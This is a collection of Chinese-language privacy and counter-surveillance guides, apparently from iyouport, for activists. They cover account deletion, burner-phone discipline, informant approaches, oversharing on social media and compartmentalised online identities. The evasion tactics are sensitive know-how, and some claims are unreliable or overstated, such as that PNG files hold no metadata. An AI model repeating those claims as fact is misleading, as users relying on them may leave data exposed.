如果找不到删除账户的地方，搜索 “删除账户 delete account” +“「服务的名字」”。有些时候可能需要给支持部门发电子邮件。

B、检查您的信息是否已经被公开

「图」

现在您有了一个用户名、电子邮件和服务的清单了，看看这些是否是任何地方的数据泄露的一部分。

在 Duckduckgo/Google/其他搜索引擎上搜索您自己的电子邮件和账户名称。找找是否有泄露您的信息的数据库或 Pastebin 链接。注意哪些用户名和密码会出现。

要知道，许多数据库没有被搜索引擎收录，于是您应该使用 https://haveibeenpwned.com，检查何时以及您的哪些信息是被公开的。

如果有任何东西显示出来，这将是第一个要改变或删除的优先事项。

C、从谷歌删除您的旧信息

「图」

即使您删除了旧账户，也可能有关于它们的缓存信息存在。

使用谷歌控制台，要求他们删除/更新他们的搜索引擎（很不幸这通常需要几个月的时间），以删除这些缓存的结果。您必须提供每个链接。在这里：

https://www.google.com/webmasters/tools/removals

D、尽可能不要让谷歌跟踪您

「图」

在这里，您可以通过谷歌的每项服务。关掉您的每个账户：

https://myaccount.google.com/activitycontrols

您可以在这里看到（和擦除）您的历史活动记录：https://myactivity.google.com/myactivity

您可以在这里报告内容以便合法删除：https://support.google.com/legal/answer/3110420?visit_id＝637092788967151292-3839576181&rd＝1

E、对于您正在使用的每一项服务，将隐私设置深入到核心部分。

「图」

可能的情况会随着服务的变化而变化—— 没有哪个账户是绝对安全的，但一定要尽可能地改变您的设置。

Facebook 尤其糟糕，但如果您想要/需要使用 Facebook，建议确保您的所有信息都被设置为私密，这样至少其他人无法访问您的照片和信息。

F、删除旧的电子邮件

「图」

如上，在您浏览了旧电子邮件并找到了曾经注册过的服务之后，您应该删除这些邮件。

这是为了避免留下可能在将来被用来对付您或使您尴尬的个人信息（您可以假定任何时候您都会被入侵、您的设备会被警察抢走或丢失）。

如果您认为自己可能仍然需要这些邮件，请至少确保更改您的安全问题和密码。

G、基本安全账户的做法

「图」

定期更改您的所有密码，至少一年几次。要知道，每天都有新的数据泄露和被出售。

切勿使用相同的密码、相似的密码，或在密码中使用个人信息（生日、车牌、门牌号、宠物名字等等）。

有一些程序可以自动运行密码的排列组合。当然，一个适合您的密码管理器将是最方便的。

H、定期删除您的旧内容

「图」

删除推文和旧照片。如果您是被针对的个人目标，这些信息可能会被

恶意者集中研究。

要小心发布有关您的社交圈和在您身边的人的任何信息。即使您自己有严格的安全措施和习惯，也您的邻居和朋友可能并没有那些措施——如果黑客知道他们是您的邻居，他们也同时知道了您住在哪里。

好啦，就是这样。记住这些句子对您的基本安全性有好处，如果您对其中任何一项内容感兴趣，可点击其中相关的链接以查看详细内容。〇

原文

一次性手机用户指南：关于刻录机电话您应该知道的重要原则 - iyouport

护盾（AS）

并不是设备在保护您的安全，真正能保护您的是人 -- 是人对操作安全性的遵守。

近期新闻：据《华尔街日报》报道，美国奥运会和残奥会委员会正在告诉运动员们，在参加中国的冬奥会之前放弃他们的个人手机，改用刻录机电话。

据报道，该公告去年曾两次发出，警告运动员在中国时可能受到数字监控。公告指出："每台设备、通信、交易和在线活动都可能被监控。你的设备也可能被恶意软件破坏，这可能对未来的使用产生负面影响"。该报道指出，英国、加拿大和荷兰也提醒运动员不要将他们的个人电子设备带入中国。

委员会的担心并不是没有根据的。2019年，中国被发现在从新疆地区入境的游客的手机上秘密安装间谍软件。加拿大公民实验室发现，中国的**My2022**奥运会应用程序（所有与会者都必须安装）充满了安全漏洞，可能导致隐私泄露、监控和黑客攻击。

早在北京举行2008年夏季奥运会时，美国国土安全部就向前往中国的任何旅行者发出了类似的警告，警告说携带任何电子设备都有可能面临 "犯罪分子或外国政府人员未经授权的访问和数据盗窃"。然而，这次的情况有点不同，由于对COVID-19的担忧，中国已经禁止所有外国观众。运动员们可能会依靠他们的移动设备与朋友和家人保持联系，这可能会在移动数据、短信和通话受限制的一次性手机上更加复杂。

但是，刻录机电话真的就能安全了吗？这是一个重要问题。

刻录机电话就是一次性使用的电话，与您的身份无关，理论上可以用来在可能被监控的情况下进行匿名通信。如您所知，非常多的行动主义安全性建议中都会提到刻录机电话。比如这里《指南：当您准备参

加抗议活动…》；以及这里《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》，等等。

但仅仅建议使用，依旧是有问题的。此前我们借助1月6日国会暴动的大抓捕过程分析了这件事，所有暴徒都在使用一次性手机，但间谍机构依然实现了连锅端，关于他们是如何做到的，见《警察/间谍如何定位抓捕抗议者：连锅端的标准操作模式》。

使用一次性手机本身究竟是否是一种“最佳做法”，还有待商榷，但如果您选择使用一次性手机，有几件事您应该牢记。

1、刻录机电话与寻常所说的“一次性手机”不完全一样。

「图」

如上所述，刻录机电话是一种专门为匿名通信而采购的、绝对只用一次的手机。它通常被认为是一种私密通信的手段，其功效的前提是要有完美的安全做法！

寻常说的“一次性手机”是指您购买并正常使用的手机（并不强调安全操作），因为您知道它很可能会丢失或损坏。

2、您的刻录机电话只能与其他刻录机电话通话。

「图」

如果您使用您的一次性手机与某人日常使用的电话通话，就会打破私密。在您和您的联系人之间留下可追踪的痕迹。

为了您通信圈内每个人的安全，您的刻录机电话应该只用于联系其他刻录机电话，这样您的关系网络就不会危及您的安全。

有很多方法可以安排，但最好的方法可能是记住您自己的号码，并与您希望沟通的人*当面*分享号码。事先约定让联系人给您发一条非常普遍的短信，这样当您打开手机时，您就可以根据他们发送的信息来识别他们，而不是用其他方法。

如果您是在与一大群人合作，在您的手机开机的情况下完成这个过程可能也是可以的。

在这两种情况下，除非您有非常重要的信息需要传递，否则没有必要

回复接收到的信息。也请记住，您应该尽可能少地通信，以尽量减少对您的安全的潜在风险。

3、永远不要在您的家里打开刻录机电话！

「图」

这是最常见的也是最严重的暴露身份的误操作。我们此前介绍过这点，见《到底有没有无法被监听的电话？：变得难以被追踪的简单方法（8）》。

由于手机随时都在记录和传输位置数据，您不应该在任何已知您的身份的地方打开一次性手机。这显然包括您的家，也应该扩展到您的工作场所，您的学校，您经常去的健身房，以及您经常去的任何其他地方。

4、永远不要在您的常用手机附近打开您的刻录机电话！

「图」

如上所述，手机就是一个带有额外的酷炫功能和特性的跟踪监视设备。正因为如此，您不应该在您的“真实”手机附近打开一个刻录机电话。因为这会导致形成一个数据线索 —— 将您表面上匿名的刻录机电话与您的个人身份相关的手机同时放在同一个地方，对于监视者来说就很容易破解您的身份。

这也意味着，除非您在一个很大规模的人群中，否则您不应该在您的重要联系人的常用手机附近打开您的刻录机电话。

5、通信时永远不要提及自己或任何联系人的名字。

「图」

鉴于使用一次性手机的目的是为了保持您的匿名性和您周围人的匿名性，那就永远不要说出名字和常用昵称/绰号。

通过一次性手机通信时，不要使用任何人的合法姓名，也不要使用您在其他地方使用过的假名。如果您必须使用一个假名，那么这个假名必须是唯一的，是事先确定的，并且只使用那一次，绝不重复使用。

您可以考虑使用一个无害的暗语进行交流，而不是使用任何名字。比

如：“嘿，你想在星期二吃早午餐吗？”而不是“嘿，我是李大头”。这也允许呼叫和回应作为彼此间的身份认证。例如，如果您的联系人对你的早午餐邀请的回应是：“当然，让我检查一下日程，然后再给你答复”，您就会知道您打算联系的人是正确的人了。

此外，这种认证做法允许使用紧急求救代码 —— 比如“我不能参加早午餐了，我要去上瑜伽课”，如果您试图协调的人遇到了麻烦，可以使用这个紧急求救代码，收到这样的消息时您就会知道出事了。

6、谨防黄貂鱼（IMSI捕手）。

「图」

必须保持您的身份认证暗语和紧急求救暗语尽可能无害的一个原因是，世界各地的执法机构正越来越多地使用IMSI捕手，也被称为“黄貂鱼”或“基站模拟器”，在其范围内捕捉任何短信和电话。这些设备假装成手机信号塔，拦截并记录您的所有通信，然后将它们传递给真正的手机信号塔，这样您的目标联系人也会收到这些信息。在这里看到。

正因为如此，您不应该使用刻录机电话发送直言不讳的短信，比如“嘿，你在抗议活动现场吗？”或者“你带了燃烧瓶吗？”这是非常愚蠢的。

在正常情况下，使用 Signal 等加密通信可以相当有效地规避黄貂鱼的威胁，但由于刻录机电话通常不具备加密信息的能力（除非您购买的是刻录机智能手机），因此有必要对您所说的任何话加以编码——变成暗语。

请注意！使用**Signal** 等加密通信是有规则的，遵守这些规则才能实现安全，否则端对端也无法保护您。具体措施见《如何才能安全地使用端对端加密（比如Signal）：准则》。

7、刻录机电话必须是一次性使用的。

「图」

刻录机电话是为了使用一次，然后被视为“烧毁”。这有很多原因，但主要原因是，避免您的秘密行动相关的线索被联系起来。如果同样的刻录机电话开始出现在同类的反抗行动中，追踪调查这些事件的人就会有更多的数据来建立档案。

这意味着，如果您所做的事真的需要一个一次性手机，那么您所做的事每次都需要一个全新的、安全干净的一次性手机。不要让安全措施的草率执行否定了您的所有努力。

8、购买刻录机电话时应该非常小心。

「图」

您的一次性手机应该是不可追踪的。这意味着您应该用现金支付；不要使用任何银行卡。

问问自己：在您购买手机的地方或周围是否有监控摄像头？不要把您的私人电话带到您购买刻录机电话的地方。

考虑步行或骑自行车去购买，不要开车，您的车牌就是您的身份证；用非常朴素的衣服或化妆品遮盖您身上容易被识别的特征（比如明显的痣、疤痕、纹身等细节）；不要在您经常去的任何地方购买刻录机电话，以免工作人员认出您 —— 您永远都想不到有多少人认识您的脸，尽管您从未和他们说过任何一句话。

非常建议您阅读《完美隐身》系列教程，这其中介绍了很多隐藏自己的方法。此处链接为最后一集，其中有本系列完整列表。

9、千万不要认为刻录机电话是 “绝对安全的” 或 “绝对可靠的”。

「图」

为了使刻录机电话能够保护您的隐私，参与通信圈的每个人都必须保持良好的安全文化！

安全地使用刻录机电话要求联系人网络中的每个人都采取适当的预防措施并保持良好的隐私状况：因为一个人的失败会危及你们所有人。

因此，既要确保与您交流的每个人都能在安全和正确使用刻录机电话方面保持一致，也要假设有人可能会粗心大意。这也正是为什么要强调即使在使用一次性电话时也要非常小心通信内容的另一个重要缘由。

始终对自己的安全负责，并在必要时毫不犹豫地删除和丢弃您的一次性手机。〇

原文

了解诱捕战略：如果政府间谍要求你做线人怎么办？如何判断一个人是否可能是线人？ - iyouport

护盾（AS）维稳面面观

不只有保护自己。因为您独自一人是无法实现安全的。只有当我们能够互相照护的时候，安全文化实践才能起效。

上图是近期来自中文的消息。它是可信的。但渗透者的工作并非只有监视 ……

本文将继续详细解释渗透问题。

📌 本文分为3部分；# 当局有可能如何诱捕反抗者?

- 如果政府间谍想要你做线人，怎么办?
- 此人是线人吗？如何判断？—— 十点清单

1. 通过孤立最具战斗力的参与者来分化和征服整个运动，对外围的脆弱目标进行阶段性的诱捕；

- 利用这些逮捕使所有的人都失去合法性，除了最温顺的、对统治阶级毫无伤害的那些人；并为不断增加的警察暴力提供理由。

1. 不合作是保护我们的社区和运动免受国家镇压的最佳方式。

- 如果他们找您告密，即便他们手里有您的案子，他们的案子也很可能很弱。
- 您不一定要合作。您有权利保持沉默。
- 尽快联系律师。

1. 如果间谍来敲门

- 你有保持沉默的权利

- 诱捕战略内幕

○□

原文

你不应该在社交媒体上说的话 - iYouPort

护盾（AS）

很多噩梦只是由于你曾经在社交网络上说得太多了。这绝不是危言耸听。⚠我们警告过政府当局如何利用社交媒体上人们下意识透露的信息针对性地进行间谍活动，于是您应该知道

很多噩梦只是由于你曾经在社交网络上说得太多了。这绝不是危言耸听。我们警告过政府当局如何利用社交媒体上人们下意识透露的信息针对性地进行间谍活动，详见《社交媒体情报》，于是，现在梳理一下：你确实不应该在社交媒体上说的话。

有关您的一切细节信息，您都不应该在社交媒体或其他任何其他网站上发布。

Instagram，Facebook，Snapchat 和 Twitter 等社交媒体网站经常以提高帐户安全性为幌子邀请你提供更多信息。如果您忘记登录凭据，该信息可用于恢复您的社交媒体帐户（比如苹果ID的问答：您出生在哪个城市等等）。 Facebook 要求用户使用他们的平台的最低年龄，声称为了阻止不合适的内容而要求您透露自己的年龄。

但是，提供此类个人信息确实存在危险，特别是在与您生活的宏伟计划无关的社交媒体网站上。从社交媒体上要求提供的大部分信息都被用作从信用卡到股票交易账户等等各种常见密码重置问题。

于是社交媒体是社交工程攻击的最常见入口。攻击者收集有关受害者或一组受害者的信息—比如所有公司员工—并建立一个关于他们的信息数据库。目标可能是攻破整个团体或其中某些关键个人。通常，社交工程攻击用于获取关于公司中某个高级别人员的足够个人信息，就可以获取大笔金钱或公司的致命机密。

出生日期——

您的出生日期永远不要在社交媒体上发布！有些网站要求提供出生日

期，那就说谎吧！我有一个标准的假生日，我在所有非必要的网站上使用它。这意味着除非需要知道我的真实生日，比如我的护照续签，此外一概输入假生日。

顺便再提一句我们介绍过的在线身份伪装《伪装＋擦除—— 在线隐身的重要步骤（少数派玩家）》

记住！输入您的真实生日并更改隐私设置仅对您自己可见是不够的！黑客完全可以获得这些数据。

出生日期是黑客打开欺诈性银行账户、侵入您当前的财务信息、以及进行其他身份盗用所需的重要信息。就数据盗窃而言，出生日期对应名字就如金条一般。

你出生的城市——

再一次，你出生的城市是一个常见的密码重置问题；这也是 Facebook 用户喜欢在他们的个人资料上自动显示的东西，这是真的非常傻。

从银行户头到贷款人的所有都使用您的家乡来识别个人。如果您申请信用卡并且银行向您询问一些个人问题，您就会看到“之前住过的地方”这样的问题出现在其中。虽然您无法将其从信用报告中删除，但是，请不要将其提供给每个人都可以看到它的社交媒体网站。攻击者可以使用它以您的名义开立帐户。

如果您公开说出了您出生的日期和城市，攻击者就可以使用这些信息来破解您的社会安全号、身份证号。您应该知道社会安全号的第一个数字与你出生的地方有关。这些关键证件号可用于完全的身份盗用。

当你在度假时请注意——

很多人都喜欢在线分享度假照片。但是，当你不在家时，千万不要这样做！如果您在自己的个人资料中发布家乡并在社交媒体上分享度假照片，窃贼就可以使用它来了解何时是您闯入家中的好时机。

分享您的家庭住址不仅可以为身份窃贼提供重要的拼图，还可以让窃贼找到您的家。

真的太想分享照片的话，等旅行回来到家后再分享。

宠物的名字——

你最喜欢的宠物的名字是什么？这个问题听起来很熟悉吗？肯定的。这是另一个常见的密码重置问题。我不是故意避免在 Instagram 上张贴可爱的小狗照片。从另一个角度看这个问题。

当被问及您最喜欢的宠物名字作为密码重置问题时，请使用您孩子的宠物或其他动物的名字—例如您最喜欢的马。不要让黑客很容易收集到有关您的信息。

您驾驶执照上的照片——

不要在线发布许可证、驾驶执照或护照上使用的照片！这是另一个信息宝库。如果黑客可以将名字与作为数据金矿的照片相匹配，添加地址和出生日期，这就是完全成熟的身份盗窃。

如果你的孩子决定张贴他们的学生证在社交网络，就等于给攻击者交上了老底。借此可以实现各种惊奇的社交工程攻击。

银行信息——

也许这点不需要多说？但是也不一定，有些人一高兴就什么都忘了，拼命想要马上晒出来，比如闪亮的新信用卡的照片，你能在网上看到一大堆。这是非常危险的。

其他常见的密码重置问题包括你结婚的地方、你父亲的名字、你母亲的婚前姓等等。很多这些都可以从公共记录中获得，但这可能需要更多的挖掘才能找到答案。

我们能见到的99%被当局追踪迫害的异议人士都是由于在社交媒体上放了太多个人信息。不仅政府和警察，任何恶意者都可以因此瞄准你。

你的目标是让攻击者的工作变得足够困难。所以，不要在敏感的或诱使敏感数据的社交媒体上发布这些内容！

如果你还关心政治类的信息，就需要做到这样：《使"用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗"》

T"hings You Should Never Post On Social Media": The goal is to make a hacker’s job difficult. Don’t post things on social media that are sensitive or lead to sensitive data!

原文

分身术完整指南：妥善管理您的在线身份并获得安全的方法 - iyouport

护盾（AS）

【2019年7月26日存档】对于所有人，只要您在互联网上，而不仅仅是敏感人士 - - 关于什么是数据？什么是数字阴影？如何避免被追踪迫害？如何变成另一个人？尤其是如何*分裂*为多个不同的人？

互联网是探索、学习、说话、倾听和与世界各地人们交流的绝佳场所。不幸的是，互联网也成为一个挑战主流语话的独立思考者经常发现自己受到攻击的空间。这些攻击可能非常个人化、具有强烈的针对性—— 因为互联网上经常会有很多关于我们的个人信息。

为了加强你对这些攻击的防御，从评估自己的数字阴影开始是个好主意。这些阴影—— 可以讲述一个关于我们的故事：我们是谁、我们生活和闲逛的地方、我们感兴趣的东西，以及我们的朋友和同事都是谁。这可能会让我们面临几种威胁。特别是，你留下的公开可用数字足迹会导致你面临各种骚扰和操纵。

不过，你还可以使用许多策略和工具来塑造或控制自己的数字阴影，增加自己的隐私，并最终在线和离线时更加安全—— 并不会减少您的声音或在线活动。

这些例子包括通过有意识地从内容和元数据中剥离有价值的信息来控制自己被暴露的数据量；尝试自‘我毁灭“的艺术；并思考如何操弄和拆散自己的在线身份。

> 尤其是中国读者。如果您关心如何抵制社会信用评分的危害 ——这篇文章中介绍的内容就是您唯一能做的事。

数字阴影都是什么？——

「图」

数字阴影可以定义为数据说出的关于你的故事。这些数字阴影是由数万亿比特的数据创建的，当我们连接到互联网时，每天都会留下数字痕迹。你的数字阴影拥有自己的生命，受到他人的影响，并以不可预测的方式发生变化。这些痕迹是我们过去和现在活动的幽灵，它们以永久的和不断变化的形象融合在一起。

这些万亿比特的数据是如何创建的？我们用于浏览互联网、访问网站、连接到 Facebook 和 Twitter 等社交网络平台、发布博客帖子、接听电话、发送短信或电子邮件、使用聊天或在线购物的设备和软件，都创建了特定的位关于我们的数据。

这些数据可以包括我们的名字、位置、联系人、图片、消息、推文和点赞，还包括我们的计算机品牌、打电话时间和访问的网站的信息。这些数据痕迹可以由我们自己和其他人一起提供。

如何共享数据？在某些情况下，人们会积极分享数据—— 例如，当我们在 Facebook 上分享照片、在线预订机票或发帖子时。其他人也可以通过在图片中标记我们、在推文中提及我们、或仅仅通过与我们沟通来积极地分享关于我们的数据。

在其他情况下，我们每个人都在不知不觉中提供了大量的数据，而没有考虑是否“同意”。当你通过“cookies”和其他在后台活动的跟踪技术访问网站时，你的浏览习惯和IP地址是共享的。这些技术就嵌入在我们访问的网站中，并且从网站分析到广告，被收集的共享信息可用于广泛的目的。

手机应用程序也在你不知情或未经同意的情况下收集数据—— 例如，我们拍摄的照片通常会在其中嵌入位置数据。当从一种服务转移到另一种服务时，这些跟踪技术使 Web 服务能够识别和关注你。

什么是数据？数据可以分为三个部分：内容、元数据和噪音。

- 内容是我们的消息、博客、推文和电话的内容，包括照片和视频。元数据是关于数据的数据，是技术基础设施工作所需的信息。
- 元数据使我们的电子邮件能够交付，帮助在我们的计算机上查找文件并允许移动通信。元数据可以是我们的电子邮件地址，电话号码，位置，发送或存储消息的时间和日期。
- 噪声是由制造过程或基础设施的工作所产生的数据。例如，每

台相机都有一张SD卡来记录和存储图片。每张SD卡都有独特的划痕，这些划痕是由生产SD卡的机器创建的。这些划痕会对眼睛看不到但可被计算机识别的数据进行微小的更改。

谁在收集我们的数据，为什么？——

数据收集和数据分析已变得非常复杂。您遗漏的数据痕迹将由各方收集、分析和分类，以创建数字阴影或配置文件。每次收集新数据时，都可以识别并添加到您的个人资料中。这些配置文件不断扩展，为创建它们或有权访问它们的人提供了对您本人的真实洞察力。

公司、政府和个人为各种目的收集这些数据。它可以买卖；可以用来操纵和控制；或者可以用来制定骚扰策略。

数字阴影或配置文件可用于深入了解我们是谁、我们做什么、以及我们去过哪里。然后，可以使用这些数据来预测我们可能会做什么或将来可能会去哪里。例如，如果有人知道我们是x国家中关于性别问题的直言不讳的博主，他们就会知道我们可能会参加一个关于该国博客和女权主义的会议。配置文件还可以使潜在的骚扰者能够在不同平台上骚扰我们。

任何人都有可能访问你的数字阴影—— 包括通信服务提供商、执法机构和商业公司，以及运行自己的服务器的团体和个人。我们无法准确知道自己的数字阴影究竟发生了什么，而这本身就是一个问题。

但是，我们可以使用工具和策略来管理数字阴影、并限制其在剖析和监视方面的影响。后面就是用来讨论这一问题的。

——探索你自己的数字阴影——

「图」

正如之前提到的，任何人都可以访问你的数字阴影—— 包括通信服务提供商、执法机构和公司，以及运行自己的服务器的团体和个人。那么怎么办？建议从下面开始：

- 使用 Trace My Shadow 探索自己的个人数字阴影—https://myshadow.org/trace-my-shadow—这是由 Tactical Tech 推出的工具；
- 通过安装名为 openpaths.cc 的工具来检查手机。一些应用可以看到相同的东西。请仔细阅读服务条款，并了解您是否可以更

改手机中的访问权限设置。在 iPhone 上，可以在其隐私设置下更改每个应用的权限。更多详见《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识 》

控制您共享的内容和元数据——

好消息是我们可以部分控制我们提供的内容和元数据。

当在网络上发布内容之前，最好自问一下，你发布的内容是公开的还是个人的，以及谁可以访问它。即使这些信息与公共活动有关而不是与我们的个人生活有关，提到的名字或上传的图片也可能会让人联想到我们是谁、我们在做什么、在哪里做等等。希望定位你的人就可以使用它。

这并不意味着你应该保持沉默—— 只需采取一些基本措施，你可以通过提高攻击难度来减弱风险：

- 在必需分享有关自己生活的个人详细信息时，务必设置为仅仅所选的联系人可访问私人资料。在商业社交媒体上使用私人资料时，应该了解该平台隐私政策的定期更改，这可能会影响我们的个人资料的“私密性”。
- 在网上和公共可访问的社交网络资料上撰写或发布有关公共活动的图像时，应该首先问自己，你传播的有关单个人、地点和其他细节的信息是否可用于识别和/或攻击某人。或者只在公共活动结束后才公布有关公共活动的信息。
- 可以使用名为 ObscuraCam 的工具匿名化图片中的面部，ObscuraCam 是 Android 设备的免费相机应用程序。 https://guardianproject.info/apps/obscuracam
- 在向**Web**服务提供个人信息时，最好使用 HTTPS 以使通信通道安全。
- 使用强密码，并为您使用的每个 Web 服务使用不同的密码—— 如果您为多个服务使用相同的密码，并且有人拦截了其中一个服务的密码，就可以使用它来访问您的其他帐户。
- 注册 Microsoft Office，Libre Office，Adobe Acrobat 等设备或软件时，不要使用真实姓名有助于防止在使用此设备或软件时创建的元数据与您的身份连接。您也可以关闭手机或相机中的**GPS**追踪器。
- 某些文件类型包含的元数据多于其他文件类型，因此在线发布内容时，您可以将文件从包含大量元数据的文件格式（例如.doc和.jpeg）更改为不包含元数据的文件格式（例如.txt和.png），或者我们可以使用纯文本。

- 使用 Metanull for Windows 从图像文件中删除元数据：https://securityinabox.org/en/lgbti-africa/metanull/windows
- 编辑或删除 **PDF** 文件中的隐藏数据，Windows 或 MAC OS 用户可以使用 Adobe Acrobat XI Pro 等程序（可以使用试用版）。 GNU / Linux 用户可以使用 PDF MOD，这是一个免费的开源工具。但是，它不会删除创建或修改时间戳，也不会删除有关用于创建 PDF 的设备类型的信息。
- 有关从不同文件格式中删除元数据的更多信息，请参阅我们上一次同栏目中的介绍《大清洗：反侦察的第一步》
- 您可以通过安装 Privacy Badger 或 Adblock Plus 等附加组件，以及监控自己的隐私设置、定期删除 **Cookie** 来阻止通过浏览器的跟踪和收集元数据。
- 使用 **Tor** 将隐藏特定的元数据，如我们的 IP 地址，从而增加在线匿名性。

——社交领域——

「图」

正如安全专家 Bruce Schneier 所解释的那样，“安全是一个链条，任何一个薄弱的环节都可以打破整个系统”。

我们每个人都属于多个社交领域—— 我们的工作或倡导网络，我们的家庭网络，朋友和团队。其中一些网络可能需要比其他网络更多的安全。

例如，我们可能倾向于为我们的工作或倡导活动提供更安全的沟通实践，但在社交网络上与朋友交互的安全性就会相对较低。这些领域相交可能会对我们的安全构成威胁。

如果你在所有领域中使用单一身份，则可以更轻松地收集到有关你的一切信息并识别出你的漏洞。

例如，如果你在社交网络中透露自己喜欢某种特定类型的游戏，并且使用了像 Emule 这样的 p2p 程序下载文件，那么想要调查你的工作或倡导活动的攻击者，就可能会通过欺骗你下载游戏而令你感染间谍软件。这是所有社交工程伎俩中最最简单的一种。也是为什么说很多失败都源于你说得太多了。

这个攻击者对你的倡导活动和政治立场很感兴趣，但他知道你在这部分生活中增加了隐私和安全措施。同时攻击者也知道你对游戏的热爱

（或任何一种偏好都一样）是数字弱点，因为这个网络没有加密。因此，攻击者就可以利用你生活中无法加密的这一部分来获得入侵其他加密部分的入口。

很简单，这就是因为你的工作—敏感部分 和 生活—不敏感部分，没能彻底分开的原因；也是为什么要一直强调分离你的社交领域，为不同领域选取完全不同的身份—— 彼此之间不要发生任何联系。这就是身份管理。详细内容请参见《抗议须知》和《角色扮演》

——自我人肉——

「图」

几乎所有人都知道人肉搜索是什么意思。Doxing（也称为“doxxing”或“D0xing”）描述了使用互联网上免费提供的来源追踪或收集有关某人的信息的方法。此方法的成功取决于攻击者识别有关其目标的有价值信息的能力，并将此信息用于他们自己的恶意目的。

Doxing 的前提是“你越了解你的目标，就越容易找到他或她的缺陷”。反过来看，对你来说就是：最了解的你的人是最危险的人。你应该努力让仅仅经过验证的极少部分亲密人了解你，并且你选择的对方必须是和你具有同样高层次的保护意识的个人。

就如 IYP 在社交工程演示中所强调的那样，骚扰者和潜行者会使用多种工具和技术来收集有关其目标的信息，但由于这些工具和技术大多是公开的且易于使用的，你也可以自己使用它们。参见《侦查和欺骗：这里是社交工程攻击必备的技术工具》《信息收集：决胜的根基》

很有必要推荐这一工作，因为你很可能完全不知道自己在他人眼中是什么样，尤其是不知道自己在监视者和所有恶意行为者眼中是什么样。“自我人肉”工作就是让你看清自己的必要工作—— 它可以帮助你就在线共享内容和方式做出明智的决定。

当然，这项工作也可用于识别他人，在你决定给予对方*完全信任*的权限之前，上述相同的工具可以帮助你判断是否值得给出这样的信任。

用于 doxing 的方法包括浏览档案、黄页、电话簿、和其他公开信息；查询 Google 或 DuckDuckGo 等常用搜索引擎；在特定服务中寻找一个人的个人资料；在公共论坛和邮件列表中搜索信息；或寻找目

标已共享的图像（例如，可能还发布在另一个更个人的帐户中）；也可以简单地通过“whois搜索”查找网站所有者的公共信息。

您自己就可以使用这些相同的工具来探索其他人可以轻松找到的关于你的信息。

在开始探索这些 Web 服务并寻找你的数字自我之前，一个好主意是使用像 Torbrowser 这样的匿名工具。

我们将在本栏目的下一篇文章中介绍更多自我人肉工具和技巧。

——删除你的过去，创建新身份——

「图」

“一旦有什么东西在互联网上，它将保留在互联网上，因为互联网不会忘记”。这句话如今已经家喻户晓。

你可能认为从社交网络和 Web 服务中删除某些敏感数据可能足以保护自己，但你不能轻易删除元数据。在我们的整个生活中—— 在我们所有的工作和个人领域—— 如果只使用一个身份—— 就已经创建了大量可用于描述或攻击我们的信息。

要避免这种情况的一个选择是：留下旧身份，并创建一个或多个新身份—— 给每个社交域一个完全不同的身份角色。你也可能选择在其中某些领域使用自己的真实身份，在其他领域使用创建的新替代身份。

我们在《抗议须知》和《角色扮演》中已经介绍了一些基本方法。

以下是当你开始做这件事时的基本注意事项：

- 当你开始创建新身份时，应该仔细选择每个身份的联系人，并避免与你用于不同活动的其他身份共享联系人。这样才能有效地创建单独的社交域，包括单独的帐户、邮件地址、浏览器配置文件、应用程序，甚至可能是设备。
- 重要的是：要确保你持有的各种身份不以任何方式相互关联、更不能与你的真实身份相关联。请记住，其中一些相关性可能很脆弱而你没有发现：例如，你是否使用真实的电话号码注册了一个新的假名 Gmail 帐户？这是在自己挖坑。
- 将你的每个额外身份视为潜在的一次性身份可能很有用，因为

如果它们受到了损害，你就可以很容易地丢弃它们。
- 在适当的情况下，可以为新认识的熟人创建关于你的一次性身份—— 你可以使用介绍性配置文件在将其包含在更受信任的网络中之前，了解某人。

别急，后面还有更多具体介绍。

——删除身份——

「图」

如果你决定通过创建多个身份来区分自己的不同领域，那么你应该做出的第一个决定就是删除或保留你已经拥有的身份或特性。

要做到这一点，就必须从调查你的现有身份或特性的痕迹开始。也就是上面介绍的自我人肉。

以下是在你在删除的时候需要知道的：

- 自杀机器（http://suicidemachine.org/）是一个便于删除社交网络配置文件的工具。自杀机器已经被迫停止删除 Facebook 帐户，但有关如何执行此操作的说明如下：https://www.facebook.com/help/224562897555674
- AccountKiller（

https://www.accountkiller.com

- ）提供了有关如何删除大多数热门网站上的帐户或公开个人资料的说明。
- JustDelete Me（

http://justdelete.me

- ）是一个直接链接目录，用于从Web服务中删除帐户。

——映射你的社交域——

「图」

为了区分你自己的不同社交域，就要首先将它们映射出来，并确定哪些可能使你最容易受到跨域攻击，这是很有帮助的。

你可以通过考虑自己不同的活动和网络来做到这一点，并反映每个活动和网络的敏感程度。这将使你能够更好地区分敏感域和非敏感域。

将一个人的数字生活划分为单独的普通社交域（或“机密安全”域）需要一些思考。

波兰计算机安全研究员 Joanna Rutkowska 就此进行了广泛的工作，是她开发的基于“隔离安全”概念（Qubes OS）的 Linux 发行版。

在此系统中，每个社交域都在一个单独的虚拟机中隔离。虽然 Rutkowska 的计划非常复杂并且专注于她的操作系统，但它可以为我们提供有关如何开始考虑分离不同域的有趣见解。

Rutkowska 为自己确定的三个基本领域是：“工作”，“个人”和“红色”（也就是不受信任的、不安全的区域）。

- 工作域包括她的工作电子邮件，在那里她保留她的工作 PGP 密钥，在那里她准备报告、幻灯片、论文等。她还有一个不太受信任的“work-pub”域，比如接受 LinkedIn 邀请或下载她的演示文稿的图片。为了增强这一点，她有一个“工作管理员”和一个“工作博客”域，以便进一步提高管理公司服务器的安全性并在她的博客上写作。
- 个人域包括所有与工作无关的内容—— 例如个人电子邮件和日历、假日照片、视频等。她为此增加了一个名为“非常个人化”的特殊区域，当她离家时，就用这个域与她的伴侣进行交流。这对夫妇使用加密邮件进行通信，为此目的，她有单独的PGP密钥。
- 红色域完全不受信任。这是她的一次性身份或简介所属的地方。Rutkowska 使用此域来执行不适合其他域的所有内容，并且不提供任何敏感信息。
- 除了这三个主要领域外，Rutkowska 还有其他几个独立的域。一个致力于购物，用于访问电子商务网站；定义此域的是访问她的信用卡号码和她的个人地址（用于运送）。然后是保险库域，她最终信任的地方，她生成并保留所有密码（使用 KeePassX）和主 GPG 密钥。最后，她拥有一个独立域为所有 Qubes development（“qubes-dev”）。

当然，你可能不必以如此复杂的方式分离自己的域，并且使用 Qubes Os 将它们分开只是一个解决方案—— 而且需要一个强大的机器来运行。

然而，**Rutkowska** 对域映射的思考方式完全可以成为分析我们自己的活动的启发性起点，并将我们的社交域分割开以增强安全性。

下图显示了不同域之间的数据流动：

